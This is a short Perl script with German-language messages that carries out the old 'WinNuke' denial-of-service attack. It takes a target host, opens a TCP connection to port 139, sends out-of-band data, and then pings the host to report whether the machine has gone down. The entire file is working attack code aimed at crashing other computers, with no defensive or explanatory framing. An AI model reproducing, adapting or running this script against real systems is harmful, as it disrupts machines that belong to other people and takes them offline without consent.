#!/usr/bin/perl -w
use strict;
use Socket;
use Net::Ping;
require 5.004;
my $host = shift;
my $paddr = sockaddr_in(139, inet_aton($host));
print "Der Computer $host wird heruntergefahren...\n";
socket(NUKE, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or 
	print "Klappt nicht: $!\n", return;
connect(NUKE, $paddr) or print "Klappt nicht: $!\n";
send(NUKE, "Heil Eris! Ewig Heil Discordia!", MSG_OOB );
close(NUKE);
if ($>) {
	print <<"MSG_END";
Ich konnte den OOB-Angriff landen. Leider hast du keine root-Rechte, deshalb 
überprüfe bitte selbst mit ping(8), ob $host noch läuft.
MSG_END
} else {
	sleep 3;
	my $ping = new Net::Ping('icmp');
	if ($ping->ping($host)) {
		warn "Hmm... $host scheint noch zu laufen.\n";
	} else {
		print "Rechner wurde ausgeschaltet.\n"
	}
}
